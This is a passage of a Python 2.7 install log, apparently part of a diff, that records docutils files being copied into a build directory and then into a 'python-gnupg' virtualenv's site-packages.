build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/isocyr2.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/isogrk1.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/xhtml1-symbol.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/isoamsa.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/isogrk3.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/xhtml1-lat1.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/isomopf.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/mmlalias.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/parsers/rst/include/isoamsc.txt -> build/lib.linux-x86_64-2.7/docutils/parsers/rst/include + + copying docutils/writers/html4css1/html4css1.css -> build/lib.linux-x86_64-2.7/docutils/writers/html4css1 + + copying docutils/writers/html4css1/math.css -> build/lib.linux-x86_64-2.7/docutils/writers/html4css1 + + copying docutils/writers/html4css1/template.txt -> build/lib.linux-x86_64-2.7/docutils/writers/html4css1 + + copying docutils/writers/latex2e/default.tex -> build/lib.linux-x86_64-2.7/docutils/writers/latex2e + + copying docutils/writers/latex2e/titlepage.tex -> build/lib.linux-x86_64-2.7/docutils/writers/latex2e + + copying docutils/writers/latex2e/xelatex.tex -> build/lib.linux-x86_64-2.7/docutils/writers/latex2e + + copying docutils/writers/pep_html/pep.css -> build/lib.linux-x86_64-2.7/docutils/writers/pep_html + + copying docutils/writers/pep_html/template.txt -> build/lib.linux-x86_64-2.7/docutils/writers/pep_html + + creating build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes + + copying docutils/writers/s5_html/themes/README.txt -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes + + copying docutils/writers/odf_odt/styles.odt -> build/lib.linux-x86_64-2.7/docutils/writers/odf_odt + + creating build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/medium-black + + copying docutils/writers/s5_html/themes/medium-black/pretty.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/medium-black + + copying docutils/writers/s5_html/themes/medium-black/__base__ -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/medium-black + + creating build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/small-white + + copying docutils/writers/s5_html/themes/small-white/framing.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/small-white + + copying docutils/writers/s5_html/themes/small-white/pretty.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/small-white + + creating build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/big-white + + copying docutils/writers/s5_html/themes/big-white/framing.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/big-white + + copying docutils/writers/s5_html/themes/big-white/pretty.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/big-white + + creating build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/big-black + + copying docutils/writers/s5_html/themes/big-black/framing.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/big-black + + copying docutils/writers/s5_html/themes/big-black/pretty.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/big-black + + copying docutils/writers/s5_html/themes/big-black/__base__ -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/big-black + + creating build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/medium-white + + copying docutils/writers/s5_html/themes/medium-white/framing.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/medium-white + + copying docutils/writers/s5_html/themes/medium-white/pretty.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/medium-white + + creating build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default + + copying docutils/writers/s5_html/themes/default/framing.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default + + copying docutils/writers/s5_html/themes/default/s5-core.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default + + copying docutils/writers/s5_html/themes/default/pretty.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default + + copying docutils/writers/s5_html/themes/default/slides.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default + + copying docutils/writers/s5_html/themes/default/print.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default + + copying docutils/writers/s5_html/themes/default/iepngfix.htc -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default + + copying docutils/writers/s5_html/themes/default/blank.gif -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default + + copying docutils/writers/s5_html/themes/default/opera.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default + + copying docutils/writers/s5_html/themes/default/outline.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default + + copying docutils/writers/s5_html/themes/default/slides.js -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default + + creating build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/small-black + + copying docutils/writers/s5_html/themes/small-black/pretty.css -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/small-black + + copying docutils/writers/s5_html/themes/small-black/__base__ -> build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/small-black + + running install_lib + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/odf_odt + + copying build/lib.linux-x86_64-2.7/docutils/writers/odf_odt/pygmentsformatter.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/odf_odt + + copying build/lib.linux-x86_64-2.7/docutils/writers/odf_odt/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/odf_odt + + copying build/lib.linux-x86_64-2.7/docutils/writers/odf_odt/styles.odt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/odf_odt + + copying build/lib.linux-x86_64-2.7/docutils/writers/null.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers + + copying build/lib.linux-x86_64-2.7/docutils/writers/pseudoxml.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/html4css1 + + copying build/lib.linux-x86_64-2.7/docutils/writers/html4css1/template.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/html4css1 + + copying build/lib.linux-x86_64-2.7/docutils/writers/html4css1/html4css1.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/html4css1 + + copying build/lib.linux-x86_64-2.7/docutils/writers/html4css1/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/html4css1 + + copying build/lib.linux-x86_64-2.7/docutils/writers/html4css1/math.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/html4css1 + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/xetex + + copying build/lib.linux-x86_64-2.7/docutils/writers/xetex/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/xetex + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes + + copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/README.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/medium-black + + copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/medium-black/pretty.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/medium-black + + copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/medium-black/__base__ -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/medium-black + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/small-white + + copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/small-white/framing.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/small-white + + copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/small-white/pretty.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/small-white + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/big-white + + copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/big-white/framing.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/big-white + + copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/big-white/pretty.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/big-white + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/big-black + + copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/big-black/framing.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/big-black + + copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/big-black/pretty.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/big-black + + copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/big-black/__base__ -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/big-black + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/medium-white + + copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/medium-white/framing.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/medium-white + + copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/medium-white/pretty.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/medium-white + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/default + + copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default/framing.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/default + + copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default/s5-core.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/default + + copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default/pretty.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/default + + copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default/slides.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/default + + copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default/print.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/default + + copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default/iepngfix.htc -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/default + + copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default/blank.gif -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/default + + copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default/opera.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/default + + copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default/outline.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/default + + copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/default/slides.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/default + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/small-black + + copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/small-black/pretty.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/small-black + + copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/themes/small-black/__base__ -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html/themes/small-black + + copying build/lib.linux-x86_64-2.7/docutils/writers/s5_html/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/s5_html + + copying build/lib.linux-x86_64-2.7/docutils/writers/manpage.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/pep_html + + copying build/lib.linux-x86_64-2.7/docutils/writers/pep_html/template.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/pep_html + + copying build/lib.linux-x86_64-2.7/docutils/writers/pep_html/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/pep_html + + copying build/lib.linux-x86_64-2.7/docutils/writers/pep_html/pep.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/pep_html + + copying build/lib.linux-x86_64-2.7/docutils/writers/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/latex2e + + copying build/lib.linux-x86_64-2.7/docutils/writers/latex2e/default.tex -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/latex2e + + copying build/lib.linux-x86_64-2.7/docutils/writers/latex2e/xelatex.tex -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/latex2e + + copying build/lib.linux-x86_64-2.7/docutils/writers/latex2e/titlepage.tex -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/latex2e + + copying build/lib.linux-x86_64-2.7/docutils/writers/latex2e/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers/latex2e + + copying build/lib.linux-x86_64-2.7/docutils/writers/docutils_xml.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/writers + + copying build/lib.linux-x86_64-2.7/docutils/core.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils + + copying build/lib.linux-x86_64-2.7/docutils/nodes.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils + + copying build/lib.linux-x86_64-2.7/docutils/examples.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages + + copying build/lib.linux-x86_64-2.7/docutils/languages/pt_br.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages + + copying build/lib.linux-x86_64-2.7/docutils/languages/fr.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages + + copying build/lib.linux-x86_64-2.7/docutils/languages/ca.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages + + copying build/lib.linux-x86_64-2.7/docutils/languages/ja.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages + + copying build/lib.linux-x86_64-2.7/docutils/languages/da.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages + + copying build/lib.linux-x86_64-2.7/docutils/languages/zh_cn.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages + + copying build/lib.linux-x86_64-2.7/docutils/languages/en.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages + + copying build/lib.linux-x86_64-2.7/docutils/languages/he.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages + + copying build/lib.linux-x86_64-2.7/docutils/languages/zh_tw.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages + + copying build/lib.linux-x86_64-2.7/docutils/languages/lt.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages + + copying build/lib.linux-x86_64-2.7/docutils/languages/sk.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages + + copying build/lib.linux-x86_64-2.7/docutils/languages/eo.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages + + copying build/lib.linux-x86_64-2.7/docutils/languages/de.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages + + copying build/lib.linux-x86_64-2.7/docutils/languages/es.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages + + copying build/lib.linux-x86_64-2.7/docutils/languages/fi.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages + + copying build/lib.linux-x86_64-2.7/docutils/languages/nl.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages + + copying build/lib.linux-x86_64-2.7/docutils/languages/it.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages + + copying build/lib.linux-x86_64-2.7/docutils/languages/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages + + copying build/lib.linux-x86_64-2.7/docutils/languages/sv.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages + + copying build/lib.linux-x86_64-2.7/docutils/languages/af.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages + + copying build/lib.linux-x86_64-2.7/docutils/languages/cs.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages + + copying build/lib.linux-x86_64-2.7/docutils/languages/ru.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages + + copying build/lib.linux-x86_64-2.7/docutils/languages/gl.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages + + copying build/lib.linux-x86_64-2.7/docutils/languages/pl.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/languages + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils + + copying build/lib.linux-x86_64-2.7/docutils/utils/error_reporting.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils + + copying build/lib.linux-x86_64-2.7/docutils/utils/roman.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils + + copying build/lib.linux-x86_64-2.7/docutils/utils/code_analyzer.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils + + copying build/lib.linux-x86_64-2.7/docutils/utils/punctuation_chars.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils + + copying build/lib.linux-x86_64-2.7/docutils/utils/smartquotes.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils + + copying build/lib.linux-x86_64-2.7/docutils/utils/urischemes.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils + + copying build/lib.linux-x86_64-2.7/docutils/utils/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/math + + copying build/lib.linux-x86_64-2.7/docutils/utils/math/unichar2tex.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/math + + copying build/lib.linux-x86_64-2.7/docutils/utils/math/tex2unichar.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/math + + copying build/lib.linux-x86_64-2.7/docutils/utils/math/math2html.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/math + + copying build/lib.linux-x86_64-2.7/docutils/utils/math/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/math + + copying build/lib.linux-x86_64-2.7/docutils/utils/math/latex2mathml.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/utils/math + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms + + copying build/lib.linux-x86_64-2.7/docutils/transforms/components.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms + + copying build/lib.linux-x86_64-2.7/docutils/transforms/peps.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms + + copying build/lib.linux-x86_64-2.7/docutils/transforms/frontmatter.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms + + copying build/lib.linux-x86_64-2.7/docutils/transforms/parts.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms + + copying build/lib.linux-x86_64-2.7/docutils/transforms/writer_aux.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms + + copying build/lib.linux-x86_64-2.7/docutils/transforms/references.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms + + copying build/lib.linux-x86_64-2.7/docutils/transforms/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms + + copying build/lib.linux-x86_64-2.7/docutils/transforms/universal.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms + + copying build/lib.linux-x86_64-2.7/docutils/transforms/misc.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/transforms + + copying build/lib.linux-x86_64-2.7/docutils/_compat.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils + + copying build/lib.linux-x86_64-2.7/docutils/frontend.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils + + copying build/lib.linux-x86_64-2.7/docutils/io.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils + + copying build/lib.linux-x86_64-2.7/docutils/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils + + copying build/lib.linux-x86_64-2.7/docutils/statemachine.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers + + copying build/lib.linux-x86_64-2.7/docutils/parsers/null.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/tableparser.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/roles.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/pt_br.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/fr.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/ca.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/ja.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/da.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/zh_cn.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/en.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/he.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/zh_tw.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/lt.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/sk.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/eo.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/de.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/es.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/fi.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/nl.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/it.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/sv.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/af.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/cs.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/ru.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/gl.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/languages/pl.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/languages + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/states.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst + + creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isomfrk-wide.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isolat1.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isolat2.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/isoamsb.txt -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/docutils/parsers/rst/include + + copying build/lib.linux-x86_64-2.7/docutils/parsers/rst/include/README.txt -> 